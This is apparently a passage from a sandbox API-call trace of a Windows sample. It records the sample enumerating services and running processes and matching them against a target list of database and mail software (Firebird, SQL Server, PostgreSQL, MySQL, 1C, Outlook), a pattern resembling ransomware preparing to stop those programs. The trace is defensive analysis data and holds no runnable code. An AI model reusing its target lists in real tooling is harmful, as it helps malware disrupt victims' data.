	[0044.338] lstrlenW (lpString="MMCSS") returned 5
	[0044.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0044.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0044.338] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0044.338] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0044.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0044.338] lstrlenW (lpString="MpsSvc") returned 6
	[0044.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0044.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0044.338] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0044.338] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0044.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0044.338] lstrlenW (lpString="Netman") returned 6
	[0044.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0044.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0044.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0044.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0044.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0044.338] lstrlenW (lpString="netprofm") returned 8
	[0044.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0044.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0044.338] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0044.338] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0044.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0044.338] lstrlenW (lpString="NlaSvc") returned 6
	[0044.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0044.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0044.339] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0044.339] lstrlenW (lpString="nsi") returned 3
	[0044.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0044.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0044.339] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0044.339] lstrlenW (lpString="PcaSvc") returned 6
	[0044.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0044.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0044.339] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0044.339] lstrlenW (lpString="PlugPlay") returned 8
	[0044.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0044.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0044.339] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0044.339] lstrlenW (lpString="Power") returned 5
	[0044.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0044.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0044.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0044.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0044.339] lstrlenW (lpString="ProfSvc") returned 7
	[0044.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0044.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0044.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0044.340] lstrlenW (lpString="RpcEptMapper") returned 12
	[0044.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0044.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0044.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0044.340] lstrlenW (lpString="RpcSs") returned 5
	[0044.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0044.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0044.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0044.340] lstrlenW (lpString="SamSs") returned 5
	[0044.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0044.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0044.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0044.340] lstrlenW (lpString="Schedule") returned 8
	[0044.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0044.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0044.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0044.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0044.340] lstrlenW (lpString="SENS") returned 4
	[0044.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0044.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0044.341] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0044.341] lstrlenW (lpString="ShellHWDetection") returned 16
	[0044.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0044.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0044.341] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0044.341] lstrlenW (lpString="Spooler") returned 7
	[0044.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0044.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0044.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0044.341] lstrlenW (lpString="SysMain") returned 7
	[0044.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0044.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0044.341] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0044.341] lstrlenW (lpString="Themes") returned 6
	[0044.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0044.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0044.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0044.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0044.341] lstrlenW (lpString="TrkWks") returned 6
	[0044.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0044.342] lstrlenW (lpString="UxSms") returned 5
	[0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0044.342] lstrlenW (lpString="VSS") returned 3
	[0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0044.342] lstrlenW (lpString="WdiServiceHost") returned 14
	[0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0044.342] lstrlenW (lpString="WdiSystemHost") returned 13
	[0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0044.342] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0044.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0044.342] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0044.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0044.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0044.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0044.343] lstrlenW (lpString="Winmgmt") returned 7
	[0044.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0044.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0044.343] lstrlenW (lpString="WPDBusEnum") returned 10
	[0044.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0044.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0044.343] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0044.343] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0044.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0044.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x36a4310 | out: hHeap=0x4f0000) returned 1
	[0044.343] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec
	[0044.346] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0044.346] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0044.347] lstrlenW (lpString="System") returned 6
	[0044.347] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0044.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0044.347] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0044.347] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0044.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0044.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0044.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0044.347] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0044.348] lstrlenW (lpString="smss.exe") returned 8
	[0044.348] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0044.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0044.348] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0044.348] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0044.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0044.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0044.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0044.348] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0044.349] lstrlenW (lpString="csrss.exe") returned 9
	[0044.349] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0044.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0044.349] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0044.349] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0044.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0044.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0044.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0044.349] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0044.350] lstrlenW (lpString="wininit.exe") returned 11
	[0044.350] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0044.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0044.350] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0044.350] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0044.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0044.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0044.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0044.350] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0044.351] lstrlenW (lpString="csrss.exe") returned 9
	[0044.351] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0044.351] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0044.351] lstrlenW (lpString="winlogon.exe") returned 12
	[0044.351] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0044.352] lstrlenW (lpString="services.exe") returned 12
	[0044.352] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0044.353] lstrlenW (lpString="lsass.exe") returned 9
	[0044.353] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0044.353] lstrlenW (lpString="lsm.exe") returned 7
	[0044.354] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.354] lstrlenW (lpString="svchost.exe") returned 11
	[0044.354] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.355] lstrlenW (lpString="svchost.exe") returned 11
	[0044.355] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.356] lstrlenW (lpString="svchost.exe") returned 11
	[0044.356] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.356] lstrlenW (lpString="svchost.exe") returned 11
	[0044.356] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.357] lstrlenW (lpString="svchost.exe") returned 11
	[0044.357] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0044.358] lstrlenW (lpString="audiodg.exe") returned 11
	[0044.358] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.358] lstrlenW (lpString="svchost.exe") returned 11
	[0044.359] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.359] lstrlenW (lpString="svchost.exe") returned 11
	[0044.359] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0044.360] lstrlenW (lpString="dwm.exe") returned 7
	[0044.360] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0044.361] lstrlenW (lpString="explorer.exe") returned 12
	[0044.361] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0044.361] lstrlenW (lpString="spoolsv.exe") returned 11
	[0044.361] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0044.362] lstrlenW (lpString="taskhost.exe") returned 12
	[0044.362] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.363] lstrlenW (lpString="svchost.exe") returned 11
	[0044.363] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0044.363] lstrlenW (lpString="taskeng.exe") returned 11
	[0044.363] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0044.364] lstrlenW (lpString="taskhost.exe") returned 12
	[0044.364] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0044.367] lstrlenW (lpString="program.exe") returned 11
	[0044.367] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0044.368] lstrlenW (lpString="felt.exe") returned 8
	[0044.368] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0044.368] lstrlenW (lpString="bibliography.exe") returned 16
	[0044.368] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0044.369] lstrlenW (lpString="georgeeliteopening.exe") returned 22
